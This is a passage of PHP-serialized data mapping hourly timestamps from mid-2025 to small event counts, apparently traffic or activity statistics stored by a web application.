:4;}i:1750838400;a:1:{i:0;i:15;}i:1750842000;a:1:{i:0;i:2;}i:1750845600;a:1:{i:0;i:9;}i:1750849200;a:1:{i:0;i:13;}i:1750852800;a:1:{i:0;i:11;}i:1750856400;a:1:{i:0;i:13;}i:1750860000;a:1:{i:0;i:13;}i:1750863600;a:1:{i:0;i:11;}i:1750867200;a:1:{i:0;i:1;}i:1750870800;a:1:{i:0;i:1;}i:1750874400;a:1:{i:0;i:2;}i:1750878000;a:1:{i:0;i:4;}i:1750881600;a:1:{i:0;i:6;}i:1750885200;a:1:{i:0;i:1;}i:1750888800;a:1:{i:0;i:1;}i:1750892400;a:1:{i:0;i:1;}i:1750896000;a:1:{i:0;i:2;}i:1750903200;a:1:{i:0;i:1;}i:1750906800;a:1:{i:0;i:4;}i:1750910400;a:1:{i:0;i:18;}i:1750914000;a:1:{i:0;i:11;}i:1750917600;a:1:{i:0;i:11;}i:1750921200;a:1:{i:0;i:9;}i:1750924800;a:1:{i:0;i:10;}i:1750928400;a:1:{i:0;i:10;}i:1750932000;a:1:{i:0;i:9;}i:1750935600;a:1:{i:0;i:10;}i:1750939200;a:1:{i:0;i:15;}i:1750942800;a:1:{i:0;i:15;}i:1750946400;a:1:{i:0;i:10;}i:1750950000;a:1:{i:0;i:9;}i:1750953600;a:1:{i:0;i:16;}i:1750957200;a:1:{i:0;i:11;}i:1750960800;a:1:{i:0;i:10;}i:1750964400;a:1:{i:0;i:11;}i:1750968000;a:1:{i:0;i:7;}i:1750971600;a:1:{i:0;i:9;}i:1750975200;a:1:{i:0;i:9;}i:1750978800;a:1:{i:0;i:10;}i:1750982400;a:1:{i:0;i:10;}i:1750986000;a:1:{i:0;i:8;}i:1750989600;a:1:{i:0;i:18;}i:1750993200;a:1:{i:0;i:7;}i:1750996800;a:1:{i:0;i:10;}i:1751000400;a:1:{i:0;i:7;}i:1751004000;a:1:{i:0;i:11;}i:1751007600;a:1:{i:0;i:11;}i:1751011200;a:1:{i:0;i:8;}i:1751014800;a:1:{i:0;i:11;}i:1751018400;a:1:{i:0;i:10;}i:1751022000;a:1:{i:0;i:2;}i:1751025600;a:1:{i:0;i:12;}i:1751029200;a:1:{i:0;i:2;}i:1751032800;a:1:{i:0;i:2;}i:1751036400;a:1:{i:0;i:2;}i:1751040000;a:1:{i:0;i:2;}i:1751043600;a:1:{i:0;i:1;}i:1751047200;a:1:{i:0;i:3;}i:1751050800;a:1:{i:0;i:1;}i:1751054400;a:1:{i:0;i:3;}i:1751058000;a:1:{i:0;i:1;}i:1751061600;a:1:{i:0;i:7;}i:1751065200;a:1:{i:0;i:2;}i:1751068800;a:1:{i:0;i:1;}i:1751072400;a:1:{i:0;i:2;}i:1751076000;a:1:{i:0;i:1;}i:1751079600;a:1:{i:0;i:4;}i:1751083200;a:1:{i:0;i:1;}i:1751086800;a:1:{i:0;i:2;}i:1751090400;a:1:{i:0;i:2;}i:1751094000;a:1:{i:0;i:1;}i:1751097600;a:1:{i:0;i:3;}i:1751101200;a:1:{i:0;i:3;}i:1751104800;a:1:{i:0;i:6;}i:1751108400;a:1:{i:0;i:2;}i:1751112000;a:1:{i:0;i:2;}i:1751115600;a:1:{i:0;i:2;}i:1751119200;a:1:{i:0;i:3;}i:1751122800;a:1:{i:0;i:3;}i:1751126400;a:1:{i:0;i:2;}i:1751130000;a:1:{i:0;i:1;}i:1751133600;a:1:{i:0;i:1;}i:1751137200;a:1:{i:0;i:4;}i:1751140800;a:1:{i:0;i:2;}i:1751144400;a:1:{i:0;i:1;}i:1751148000;a:1:{i:0;i:8;}i:1751151600;a:1:{i:0;i:4;}i:1751155200;a:1:{i:0;i:3;}i:1751158800;a:1:{i:0;i:2;}i:1751162400;a:1:{i:0;i:5;}i:1751166000;a:1:{i:0;i:2;}i:1751169600;a:1:{i:0;i:1;}i:1751173200;a:1:{i:0;i:2;}i:1751180400;a:1:{i:0;i:1;}i:1751184000;a:1:{i:0;i:1;}i:1751191200;a:1:{i:0;i:1;}i:1751202000;a:1:{i:0;i:1;}i:1751212800;a:1:{i:0;i:2;}i:1751220000;a:1:{i:0;i:1;}i:1751241600;a:1:{i:0;i:4;}i:1751245200;a:1:{i:0;i:9;}i:1751248800;a:1:{i:0;i:7;}i:1751256000;a:1:{i:0;i:1;}i:1751266800;a:1:{i:0;i:6;}i:1751270400;a:1:{i:0;i:1;}i:1751281200;a:1:{i:0;i:1;}i:1751284800;a:1:{i:0;i:1;}i:1751288400;a:1:{i:0;i:2;}i:1751292000;a:1:{i:0;i:6;}i:1751295600;a:1:{i:0;i:8;}i:1751299200;a:1:{i:0;i:7;}i:1751302800;a:1:{i:0;i:8;}i:1751306400;a:1:{i:0;i:7;}i:1751310000;a:1:{i:0;i:8;}i:1751313600;a:1:{i:0;i:6;}i:1751317200;a:1:{i:0;i:6;}i:1751320800;a:1:{i:0;i:6;}i:1751324400;a:1:{i:0;i:6;}i:1751328000;a:1:{i:0;i:8;}i:1751331600;a:1:{i:0;i:8;}i:1751335200;a:1:{i:0;i:6;}i:1751338800;a:1:{i:0;i:5;}i:1751346000;a:1:{i:0;i:4;}i:1751353200;a:1:{i:0;i:2;}i:1751356800;a:1:{i:0;i:1;}i:1751360400;a:1:{i:0;i:5;}i:1751364000;a:1:{i:0;i:7;}i:1751367600;a:1:{i:0;i:8;}i:1751371200;a:1:{i:0;i:21;}i:1751374800;a:1:{i:0;i:16;}i:1751378400;a:1:{i:0;i:8;}i:1751382000;a:1:{i:0;i:10;}i:1751385600;a:1:{i:0;i:15;}i:1751389200;a:1:{i:0;i:19;}i:1751392800;a:1:{i:0;i:11;}i:1751396400;a:1:{i:0;i:5;}i:1751400000;a:1:{i:0;i:4;}i:1751403600;a:1:{i:0;i:3;}i:1751407200;a:1:{i:0;i:3;}i:1751410800;a:1:{i:0;i:6;}i:1751414400;a:1:{i:0;i:3;}i:1751418000;a:1:{i:0;i:4;}i:1751421600;a:1:{i:0;i:4;}i:1751425200;a:1:{i:0;i:4;}i:1751428800;a:1:{i:0;i:5;}i:1751436000;a:1:{i:0;i:6;}i:1751439600;a:1:{i:0;i:1;}i:1751443200;a:1:{i:0;i:4;}i:1751450400;a:1:{i:0;i:1;}i:1751454000;a:1:{i:0;i:7;}i:1751457600;a:1:{i:0;i:3;}i:1751461200;a:1:{i:0;i:9;}i:1751464800;a:1:{i:0;i:2;}i:1751468400;a:1:{i:0;i:10;}i:1751472000;a:1:{i:0;i:5;}i:1751475600;a:1:{i:0;i:3;}i:1751479200;a:1:{i:0;i:7;}i:1751482800;a:1:{i:0;i:3;}i:1751486400;a:1:{i:0;i:4;}i:1751490000;a:1:{i:0;i:1;}i:1751493600;a:1:{i:0;i:1;}i:1751497200;a:1:{i:0;i:7;}i:1751500800;a:1:{i:0;i:4;}i:1751504400;a:1:{i:0;i:5;}i:1751508000;a:1:{i:0;i:4;}i:1751511600;a:1:{i:0;i:10;}i:1751515200;a:1:{i:0;i:15;}i:1751518800;a:1:{i:0;i:5;}i:1751522400;a:1:{i:0;i:5;}i:1751526000;a:1:{i:0;i:13;}i:1751529600;a:1:{i:0;i:5;}i:1751533200;a:1:{i:0;i:14;}i:1751536800;a:1:{i:0;i:6;}i:1751540400;a:1:{i:0;i:9;}i:1751544000;a:1:{i:0;i:10;}i:1751547600;a:1:{i:0;i:13;}i:1751551200;a:1:{i:0;i:3;}i:1751554800;a:1:{i:0;i:17;}i:1751558400;a:1:{i:0;i:2;}i:1751562000;a:1:{i:1;i:1;}i:1751565600;a:1:{i:0;i:6;}i:1751569200;a:1:{i:0;i:2;}i:1751576400;a:1:{i:0;i:14;}i:1751580000;a:1:{i:0;i:4;}i:1751583600;a:1:{i:0;i:21;}i:1751587200;a:1:{i:0;i:8;}i:1751590800;a:1:{i:0;i:9;}i:1751594400;a:1:{i:0;i:24;}i:1751598000;a:1:{i:0;i:9;}i:1751601600;a:1:{i:0;i:7;}i:1751605200;a:1:{i:0;i:14;}i:1751608800;a:1:{i:0;i:11;}i:1751612400;a:1:{i:0;i:9;}i:1751616000;a:1:{i:0;i:14;}i:1751619600;a:1:{i:0;i:7;}i:1751623200;a:1:{i:0;i:8;}i:1751626800;a:1:{i:0;i:8;}i:1751630400;a:1:{i:0;i:9;}i:1751634000;a:1:{i:0;i:10;}i:1751637600;a:1:{i:0;i:960;}i:1751641200;a:1:{i:0;i:889;}i:1751644800;a:1:{i:0;i:9;}i:1751648400;a:1:{i:0;i:13;}i:1751652000;a:1:{i:0;i:6;}i:1751659200;a:1:{i:0;i:2;}i:1751662800;a:1:{i:0;i:5;}i:1751666400;a:1:{i:0;i:13;}i:1751670000;a:1:{i:0;i:10;}i:1751673600;a:1:{i:0;i:14;}i:1751677200;a:1:{i:0;i:3;}i:1751684400;a:1:{i:0;i:7;}i:1751691600;a:1:{i:0;i:1;}i:1751695200;a:1:{i:0;i:3;}i:1751698800;a:1:{i:0;i:1;}i:1751702400;a:1:{i:0;i:1;}i:1751706000;a:1:{i:0;i:10;}i:1751709600;a:1:{i:0;i:15;}i:1751713200;a:1:{i:0;i:8;}i:1751716800;a:1:{i:0;i:18;}i:1751720400;a:1:{i:0;i:10;}i:1751724000;a:1:{i:0;i:11;}i:1751727600;a:1:{i:0;i:14;}i:1751731200;a:1:{i:0;i:10;}i:1751734800;a:1:{i:0;i:17;}i:1751738400;a:1:{i:0;i:11;}i:1751742000;a:1:{i:0;i:9;}i:1751745600;a:1:{i:0;i:19;}i:1751749200;a:1:{i:0;i:20;}i:1751752800;a:1:{i:0;i:20;}i:1751756400;a:1:{i:0;i:20;}i:1751760000;a:1:{i:0;i:12;}i:1751763600;a:1:{i:0;i:10;}i:1751767200;a:1:{i:0;i:16;}i:1751770800;a:1:{i:0;i:5;}i:1751774400;a:1:{i:0;i:5;}i:1751778000;a:1:{i:0;i:18;}i:1751781600;a:1:{i:0;i:8;}i:1751785200;a:1:{i:0;i:22;}i:1751788800;a:1:{i:0;i:7;}i:1751792400;a:1:{i:0;i:8;}i:1751796000;a:1:{i:0;i:18;}i:1751799600;a:1:{i:0;i:8;}i:1751803200;a:1:{i:0;i:6;}i:1751806800;a:1:{i:0;i:6;}i:1751810400;a:1:{i:0;i:3;}i:1751814000;a:1:{i:0;i:1;}i:1751817600;a:1:{i:0;i:10;}i:1751821200;a:1:{i:0;i:15;}i:1751824800;a:1:{i:0;i:1;}i:1751828400;a:1:{i:0;i:2;}i:1751832000;a:1:{i:0;i:16;}i:1751835600;a:1:{i:0;i:8;}i:1751839200;a:1:{i:0;i:1;}i:1751842800;a:1:{i:0;i:1;}i:1751846400;a:1:{i:0;i:12;}i:1751853600;a:1:{i:0;i:2;}i:1751857200;a:1:{i:0;i:8;}i:1751860800;a:1:{i:0;i:6;}i:1751864400;a:1:{i:0;i:1;}i:1751868000;a:1:{i:0;i:1;}i:1751871600;a:1:{i:0;i:10;}i:1751875200;a:1:{i:0;i:1;}i:1751882400;a:1:{i:0;i:1;}i:1751886000;a:1:{i:0;i:10;}i:1751889600;a:1:{i:0;i:1;}i:1751893200;a:1:{i:0;i:1;}i:1751900400;a:1:{i:0;i:1;}i:1751907600;a:1:{i:0;i:2;}i:1751911200;a:1:{i:0;i:1;}i:1751918400;a:1:{i:0;i:1;}i:1751925600;a:1:{i:0;i:2;}i:1751929200;a:1:{i:0;i:2;}i:1751936400;a:1:{i:0;i:2;}i:1751943600;a:1:{i:0;i:5;}i:1751947200;a:1:{i:0;i:6;}i:1751950800;a:1:{i:0;i:10;}i:1751954400;a:1:{i:0;i:2;}i:1751958000;a:1:{i:0;i:1;}i:1751961600;a:1:{i:0;i:1;}i:1751968800;a:1:{i:0;i:1;}i:1751972400;a:1:{i:0;i:1;}i:1751976000;a:1:{i:0;i:2;}i:1751983200;a:1:{i:0;i:3;}i:1751986800;a:1:{i:0;i:1;}i:1751990400;a:1:{i:0;i:1;}i:1751994000;a:1:{i:0;i:4;}i:1751997600;a:1:{i:0;i:16;}i:1752001200;a:1:{i:0;i:4;}i:1752004800;a:1:{i:0;i:3;}i:1752008400;a:1:{i:0;i:2;}i:1752012000;a:1:{i:0;i:3;}i:1752015600;a:1:{i:0;i:1;}i:1752019200;a:1:{i:0;i:2;}i:1752022800;a:1:{i:0;i:1;}i:1752026400;a:1:{i:0;i:3;}i:1752030000;a:1:{i:0;i:11;}i:1752033600;a:1:{i:0;i:9;}i:1752037200;a:1:{i:0;i:1;}i:1752040800;a:1:{i:0;i:2;}i:1752044400;a:1:{i:0;i:1;}i:1752048000;a:1:{i:0;i:4;}i:1752051600;a:1:{i:0;i:2;}i:1752055200;a:1:{i:0;i:2;}i:1752058800;a:1:{i:0;i:13;}i:1752062400;a:1:{i:0;i:4;}i:1752066000;a:1:{i:0;i:2;}i:1752069600;a:1:{i:0;i:1;}i:1752073200;a:1:{i:0;i:3;}i:1752076800;a:1:{i:0;i:2;}i:1752080400;a:1:{i:0;i:4;}i:1752084000;a:1:{i:0;i:1;}i:1752087600;a:1:{i:0;i:2;}i:1752094800;a:1:{i:0;i:5;}i:1752098400;a:1:{i:0;i:1;}i:1752102000;a:1:{i:0;i:3;}i:1752105600;a:1:{i:0;i:2;}i:1752109200;a:1:{i:0;i:2;}i:1752112800;a:1:{i:0;i:1;}i:1752116400;a:1:{i:0;i:5;}i:1752120000;a:1:{i:0;i:3;}i:1752123600;a:1:{i:0;i:1;}i:1752127200;a:1:{i:0;i:3;}i:1752130800;a:1:{i:0;i:4;}i:1752134400;a:1:{i:0;i:2;}i:1752138000;a:1:{i:0;i:1;}i:1752145200;a:1:{i:0;i:7;}i:1752148800;a:1:{i:0;i:1;}i:1752152400;a:1:{i:0;i:1;}i:1752156000;a:1:{i:0;i:1;}i:1752159600;a:1:{i:0;i:9;}i:1752163200;a:1:{i:0;i:3;}i:1752166800;a:1:{i:0;i:8;}i:1752170400;a:1:{i:0;i:16;}i:1752174000;a:1:{i:0;i:3;}i:1752177600;a:1:{i:0;i:9;}i:1752181200;a:1:{i:0;i:3;}i:1752184800;a:1:{i:0;i:3;}i:1752192000;a:1:{i:0;i:7;}i:1752195600;a:1:{i:0;i:1;}i:1752199200;a:1:{i:0;i:9;}i:1752202800;a:1:{i:0;i:2;}i:1752206400;a:1:{i:0;i:2;}i:1752210000;a:1:{i:0;i:2;}i:1752213600;a:1:{i:0;i:1;}i:1752217200;a:1:{i:0;i:6;}i:1752220800;a:1:{i:0;i:11;}i:1752224400;a:1:{i:0;i:5;}i:1752228000;a:1:{i:0;i:2;}i:1752238800;a:1:{i:0;i:1;}i:1752242400;a:1:{i:0;i:4;}i:1752246000;a:1:{i:0;i:4;}i:1752249600;a:1:{i:0;i:9;}i:1752253200;a:1:{i:0;i:2;}i:1752256800;a:1:{i:0;i:4;}i:1752260400;a:1:{i:0;i:6;}i:1752264000;a:1:{i:0;i:14;}i:1752267600;a:1:{i:0;i:14;}i:1752271200;a:1:{i:0;i:3;}i:1752274800;a:1:{i:0;i:4;}i:1752278400;a:1:{i:0;i:2;}i:1752285600;a:1:{i:0;i:4;}i:1752289200;a:1:{i:0;i:3;}i:1752292800;a:1:{i:0;i:3;}i:1752296400;a:1:{i:0;i:8;}i:1752300000;a:1:{i:0;i:5;}i:1752303600;a:1:{i:0;i:2;}i:1752307200;a:1:{i:0;i:15;}i:1752310800;a:1:{i:0;i:7;}i:1752314400;a:1:{i:0;i:2;}i:1752318000;a:1:{i:0;i:3;}i:1752321600;a:1:{i:0;i:3;}i:1752325200;a:1:{i:0;i:2;}i:1752328800;a:1:{i:0;i:1;}i:1752332400;a:1:{i:0;i:2;}i:1752336000;a:1:{i:0;i:2;}i:1752339600;a:1:{i:0;i:6;}i:1752343200;a:1:{i:0;i:4;}i:1752346800;a:1:{i:0;i:6;}i:1752350400;a:1:{i:0;i:1;}i:1752354000;a:1:{i:0;i:3;}i:1752357600;a:1:{i:0;i:1;}i:1752361200;a:1:{i:0;i:3;}i:1752368400;a:1:{i:0;i:4;}i:1752372000;a:1:{i:0;i:8;}i:1752375600;a:1:{i:0;i:3;}i:1752386400;a:1:{i:0;i:1;}i:1752390000;a:1:{i:0;i:11;}i:1752397200;a:1:{i:0;i:13;}i:1752400800;a:1:{i:0;i:1;}i:1752404400;a:1:{i:0;i:8;}i:1752408000;a:1:{i:0;i:2;}i:1752411600;a:1:{i:0;i:3;}i:1752415200;a:1:{i:0;i:11;}i:1752418800;a:1:{i:0;i:6;}i:1752422400;a:1:{i:0;i:6;}i:1752429600;a:1:{i:0;i:2;}i:1752433200;a:1:{i:0;i:4;}i:1752436800;a:1:{i:0;i:12;}i:1752440400;a:1:{i:0;i:14;}i:1752444000;a:1:{i:0;i:3;}i:1752451200;a:1:{i:0;i:19;}i:1752454800;a:1:{i:0;i:1;}i:1752458400;a:1:{i:0;i:6;}i:1752465600;a:1:{i:0;i:9;}i:1752469200;a:1:{i:0;i:16;}i:1752476400;a:1:{i:0;i:3;}i:1752483600;a:1:{i:0;i:4;}i:1752487200;a:1:{i:0;i:5;}i:1752490800;a:1:{i:0;i:8;}i:1752494400;a:1:{i:0;i:26;}i:1752498000;a:1:{i:0;i:15;}i:1752501600;a:1:{i:0;i:21;}i:1752505200;a:1:{i:0;i:7;}i:1752508800;a:1:{i:0;i:12;}i:1752512400;a:1:{i:0;i:6;}i:1752516000;a:1:{i:0;i:11;}i:1752519600;a:1:{i:0;i:9;}i:1752523200;a:1:{i:0;i:12;}i:1752526800;a:1:{i:0;i:6;}i:1752530400;a:1:{i:0;i:12;}i:1752537600;a:1:{i:0;i:10;}i:1752541200;a:1:{i:0;i:2;}i:1752544800;a:1:{i:0;i:11;}i:1752548400;a:1:{i:0;i:2;}i:1752552000;a:1:{i:0;i:5;}i:1752555600;a:1:{i:0;i:13;}i:1752559200;a:1:{i:0;i:13;}i:1752562800;a:1:{i:0;i:1;}i:1752566400;a:1:{i:0;i:4;}i:1752570000;a:1:{i:0;i:5;}i:1752577200;a:1:{i:0;i:5;}i:1752580800;a:1:{i:0;i:3;}i:1752584400;a:1:{i:0;i:3;}i:1752588000;a:1:{i:0;i:4;}i:1752591600;a:1:{i:0;i:4;}i:1752595200;a:1:{i:0;i:9;}i:1752598800;a:1:{i:0;i:23;}i:1752602400;a:1:{i:0;i:5;}i:1752606000;a:1:{i:0;i:6;}i:1752609600;a:1:{i:0;i:6;}i:1752613200;a:1:{i:0;i:10;}i:1752616800;a:1:{i:0;i:6;}i:1752620400;a:1:{i:0;i:14;}i:1752624000;a:1:{i:0;i:23;}i:1752627600;a:1:{i:0;i:7;}i:1752631200;a:1:{i:0;i:13;}i:1752634800;a:1:{i:0;i:6;}i:1752638400;a:1:{i:0;i:7;}i:1752642000;a:1:{i:0;i:5;}i:1752645600;a:1:{i:0;i:10;}i:1752649200;a:1:{i:0;i:5;}i:1752652800;a:1:{i:0;i:8;}i:1752656400;a:1:{i:0;i:13;}i:1752660000;a:1:{i:0;i:6;}i:1752663600;a:1:{i:0;i:6;}i:1752667200;a:1:{i:0;i:7;}i:1752670800;a:1:{i:0;i:15;}i:1752674400;a:1:{i:0;i:7;}i:1752678000;a:1:{i:0;i:5;}i:1752681600;a:1:{i:0;i:5;}i:1752685200;a:1:{i:0;i:7;}i:1752688800;a:1:{i:0;i:8;}i:1752692400;a:1:{i:0;i:8;}i:1752696000;a:1:{i:0;i:12;}i:1752699600;a:1:{i:0;i:8;}i:1752703200;a:1:{i:0;i:5;}i:1752706800;a:1:{i:0;i:11;}i:1752710400;a:1:{i:0;i:14;}i:1752714000;a:1:{i:0;i:8;}i:1752717600;a:1:{i:0;i:12;}i:1752721200;a:1:{i:0;i:10;}i:1752724800;a:1:{i:0;i:13;}i:1752728400;a:1:{i:0;i:12;}i:1752732000;a:1:{i:0;i:15;}i:1752735600;a:1:{i:0;i:15;}i:1752739200;a:1:{i:0;i:17;}i:1752742800;a:1:{i:0;i:11;}i:1752746400;a:1:{i:0;i:9;}i:1752750000;a:1:{i:0;i:11;}i:1752753600;a:1:{i:0;i:2;}i:1752757200;a:1:{i:0;i:8;}i:1752760800;a:1:{i:0;i:10;}i:1752764400;a:1:{i:0;i:13;}i:1752768000;a:1:{i:0;i:10;}i:1752771600;a:1:{i:0;i:13;}i:1752775200;a:1:{i:0;i:13;}i:1752778800;a:1:{i:0;i:12;}i:1752782400;a:1:{i:0;i:12;}i:1752786000;a:1:{i:0;i:15;}i:1752789600;a:1:{i:0;i:10;}i:1752793200;a:1:{i:0;i:8;}i:1752796800;a:1:{i:0;i:12;}i:1752800400;a:1:{i:0;i:12;}i:1752804000;a:1:{i:0;i:10;}i:1752807600;a:1:{i:0;i:11;}i:1752811200;a:1:{i:0;i:9;}i:1752814800;a:1:{i:0;i:18;}i:1752818400;a:1:{i:0;i:4;}i:1752822000;a:1:{i:0;i:3;}i:1752825600;a:1:{i:0;i:1;}i:1752829200;a:1:{i:0;i:3;}i:1752832800;a:1:{i:0;i:1;}i:1752836400;a:1:{i:0;i:3;}i:1752840000;a:1:{i:0;i:1;}i:1752843600;a:1:{i:0;i:2;}i:1752847200;a:1:{i:0;i:3;}i:1752850800;a:1:{i:0;i:4;}i:1752854400;a:1:{i:0;i:2;}i:1752858000;a:1:{i:0;i:2;}i:1752861600;a:1:{i:0;i:3;}i:1752865200;a:1:{i:0;i:5;}i:1752868800;a:1:{i:0;i:3;}i:1752872400;a:1:{i:0;i:1;}i:1752876000;a:1:{i:0;i:6;}i:1752879600;a:1:{i:0;i:2;}i:1752883200;a:1:{i:0;i:1;}i:1752886800;a:1:{i:0;i:2;}i:1752890400;a:1:{i:0;i:3;}i:1752894000;a:1:{i:0;i:1;}i:1752897600;a:1:{i:0;i:4;}i:1752901200;a:1:{i:0;i:2;}i:1752904800;a:1:{i:0;i:2;}i:1752908400;a:1:{i:0;i:2;}i:1752912000;a:1:{i:0;i:3;}i:1752915600;a:1:{i:0;i:2;}i:1752919200;a:1:{i:0;i:3;}i:1752922800;a:1:{i:0;i:1;}i:1752926400;a:1:{i:0;i:3;}i:1752930000;a:1:{i:0;i:4;}i:1752933600;a:1:{i:0;i:3;}i:1752937200;a:1:{i:0;i:5;}i:1752940800;a:1:{i:0;i:2;}i:1752944400;a:1:{i:0;i:2;}i:1752948000;a:1:{i:0;i:2;}i:1752951600;a:1:{i:0;i:3;}i:1752955200;a:1:{i:0;i:1;}i:1752958800;a:1:{i:0;i:2;}i:1752962400;a:1:{i:0;i:4;}i:1752966000;a:1:{i:0;i:1;}i:1752969600;a:1:{i:0;i:3;}i:1752973200;a:1:{i:0;i:3;}i:1752976800;a:1:{i:0;i:1;}i:1752980400;a:1:{i:0;i:3;}i:1752984000;a:1:{i:0;i:15;}i:1752987600;a:1:{i:0;i:4;}i:1752991200;a:1:{i:0;i:3;}i:1752994800;a:1:{i:0;i:2;}i:1752998400;a:1:{i:0;i:2;}i:1753002000;a:1:{i:0;i:3;}i:1753005600;a:1:{i:0;i:1;}i:1753009200;a:1:{i:0;i:2;}i:1753012800;a:1:{i:0;i:2;}i:1753016400;a:1:{i:0;i:3;}i:1753020000;a:1:{i:0;i:2;}i:1753023600;a:1:{i:0;i:3;}i:1753027200;a:1:{i:0;i:4;}i:1753030800;a:1:{i:0;i:9;}i:1753034400;a:1:{i:0;i:1;}i:1753041600;a:1:{i:0;i:1;}i:1753045200;a:1:{i:0;i:5;}i:1753048800;a:1:{i:0;i:10;}i:1753052400;a:1:{i:0;i:7;}i:1753056000;a:1:{i:0;i:3;}i:1753059600;a:1:{i:0;i:3;}i:1753070400;a:1:{i:0;i:2;}i:1753081200;a:1:{i:0;i:2;}i:1753084800;a:1:{i:0;i:1;}i:1753088400;a:1:{i:0;i:2;}i:1753092000;a:1:{i:0;i:1;}i:1753102800;a:1:{i:0;i:2;}i:1753106400;a:1:{i:0;i:1;}i:1753117200;a:1:{i:0;i:1;}i:1753120800;a:1:{i:0;i:3;}i:1753124400;a:1:{i:0;i:3;}i:1753128000;a:1:{i:0;i:3;}i:1753131600;a:1:{i:0;i:2;}i:1753135200;a:1:{i:0;i:5;}i:1753138800;a:1:{i:0;i:10;}i:1753142400;a:1:{i:0;i:2;}i:1753146000;a:1:{i:0;i:2;}i:1753149600;a:1:{i:0;i:81;}i:1753153200;a:1:{i:0;i:164;}i:1753156800;a:1:{i:0;i:254;}i:1753160400;a:1:{i:0;i:292;}i:1753164000;a:1:{i:0;i:308;}i:1753167600;a:1:{i:0;i:411;}i:1753171200;a:1:{i:0;i:243;}i:1753174800;a:1:{i:0;i:3;}i:1753178400;a:1:{i:0;i:6;}i:1753182000;a:1:{i:0;i:15;}i:1753185600;a:1:{i:0;i:2;}i:1753189200;a:1:{i:0;i:4;}i:1753192800;a:1:{i:0;i:2;}i:1753196400;a:1:{i:0;i:4;}i:1753200000;a:1:{i:0;i:3;}i:1753203600;a:1:{i:0;i:3;}i:1753207200;a:1:{i:0;i:4;}i:1753210800;a:1:{i:0;i:3;}i:1753214400;a:1:{i:0;i:3;}i:1753218000;a:1:{i:0;i:2;}i:1753221600;a:1:{i:0;i:4;}i:1753225200;a:1:{i:0;i:4;}i:1753228800;a:1:{i:0;i:14;}i:1753232400;a:1:{i:0;i:4;}i:1753236000;a:1:{i:0;i:2;}i:1753239600;a:1:{i:0;i:1;}i:1753243200;a:1:{i:0;i:2;}i:1753246800;a:1:{i:0;i:4;}i:1753250400;a:1:{i:0;i:8;}i:1753254000;a:1:{i:0;i:17;}i:1753257600;a:1:{i:0;i:22;}i:1753261200;a:1:{i:0;i:15;}i:1753264800;a:1:{i:0;i:13;}i:1753268400;a:1:{i:0;i:13;}i:1753272000;a:1:{i:0;i:15;}i:1753275600;a:1:{i:0;i:13;}i:1753279200;a:1:{i:0;i:4;}i:1753282800;a:1:{i:0;i:1;}i:1753286400;a:1:{i:0;i:5;}i:1753290000;a:1:{i:0;i:3;}i:1753293600;a:1:{i:0;i:4;}i:1753297200;a:1:{i:0;i:2;}i:1753300800;a:1:{i:0;i:11;}i:1753304400;a:1:{i:0;i:7;}i:1753308000;a:1:{i:0;i:2;}i:1753311600;a:1:{i:0;i:3;}i:1753315200;a:1:{i:0;i:10;}i:1753318800;a:1:{i:0;i:15;}i:1753322400;a:1:{i:0;i:15;}i:1753326000;a:1:{i:0;i:16;}i:1753329600;a:1:{i:0;i:15;}i:1753333200;a:1:{i:0;i:16;}i:1753336800;a:1:{i:0;i:16;}i:1753340400;a:1:{i:0;i:11;}i:1753344000;a:1:{i:0;i:15;}i:1753347600;a:1:{i:0;i:15;}i:1753351200;a:1:{i:0;i:13;}i:1753354800;a:1:{i:0;i:15;}i:1753358400;a:1:{i:0;i:12;}i:1753362000;a:1:{i:0;i:3;}i:1753365600;a:1:{i:0;i:1;}i:1753369200;a:1:{i:0;i:2;}i:1753372800;a:1:{i:0;i:2;}i:1753376400;a:1:{i:0;i:2;}i:1753380000;a:1:{i:0;i:2;}i:1753383600;a:1:{i:0;i:3;}i:1753387200;a:1:{i:0;i:6;}i:1753390800;a:1:{i:0;i:9;}i:1753394400;a:1:{i:0;i:22;}i:1753398000;a:1:{i:0;i:18;}i:1753401600;a:1:{i:0;i:21;}i:1753405200;a:1:{i:0;i:20;}i:1753408800;a:1:{i:0;i:15;}i:1753412400;a:1:{i:0;i:2;}i:1753416000;a:1:{i:0;i:2;}i:1753419600;a:1:{i:0;i:2;}i:1753423200;a:1:{i:0;i:1;}i:1753426800;a:1:{i:0;i:14;}i:1753430400;a:1:{i:0;i:16;}i:1753434000;a:1:{i:0;i:19;}i:1753437600;a:1:{i:0;i:16;}i:1753441200;a:1:{i:0;i:21;}i:1753444800;a:1:{i:0;i:17;}i:1753448400;a:1:{i:0;i:17;}i:1753452000;a:1:{i:0;i:14;}i:1753455600;a:1:{i:0;i:6;}i:1753459200;a:1:{i:0;i:3;}i:1753462800;a:1:{i:0;i:4;}i:1753466400;a:1:{i:0;i:3;}i:1753470000;a:1:{i:0;i:4;}i:1753473600;a:1:{i:0;i:4;}i:1753477200;a:1:{i:0;i:4;}i:1753480800;a:1:{i:0;i:2;}i:1753484400;a:1:{i:0;i:2;}i:1753488000;a:1:{i:0;i:12;}i:1753491600;a:1:{i:0;i:4;}i:1753495200;a:1:{i:0;i:2;}i:1753498800;a:1:{i:0;i:4;}i:1753502400;a:1:{i:0;i:2;}i:1753506000;a:1:{i:0;i:2;}i:1753509600;a:1:{i:0;i:4;}i:1753513200;a:1:{i:0;i:3;}i:1753516800;a:1:{i:0;i:2;}i:1753520400;a:1:{i:0;i:2;}i:1753524000;a:1:{i:0;i:3;}i:1753527600;a:1:{i:0;i:3;}i:1753531200;a:1:{i:0;i:12;}i:1753534800;a:1:{i:0;i:6;}i:1753538400;a:1:{i:0;i:5;}i:1753542000;a:1:{i:0;i:3;}i:1753545600;a:1:{i:0;i:19;}i:1753549200;a:1:{i:0;i:18;}i:1753552800;a:1:{i:0;i:19;}i:1753556400;a:1:{i:0;i:18;}i:1753560000;a:1:{i:0;i:20;}i:1753563600;a:1:{i:0;i:10;}i:1753567200;a:1:{i:0;i:4;}i:1753570800;a:1:{i:0;i:2;}i:1753574400;a:1:{i:0;i:5;}i:1753578000;a:1:{i:0;i:3;}i:1753581600;a:1:{i:0;i:22;}i:1753585200;a:1:{i:0;i:13;}i:1753588800;a:1:{i:0;i:4;}i:1753592400;a:1:{i:0;i:16;}i:1753596000;a:1:{i:0;i:15;}i:1753599600;a:1:{i:0;i:17;}i:1753603200;a:1:{i:0;i:8;}i:1753606800;a:1:{i:0;i:5;}i:1753610400;a:1:{i:0;i:15;}i:1753614000;a:1:{i:0;i:17;}i:1753617600;a:1:{i:0;i:15;}i:1753621200;a:1:{i:0;i:21;}i:1753624800;a:1:{i:0;i:19;}i:1753628400;a:1:{i:0;i:17;}i: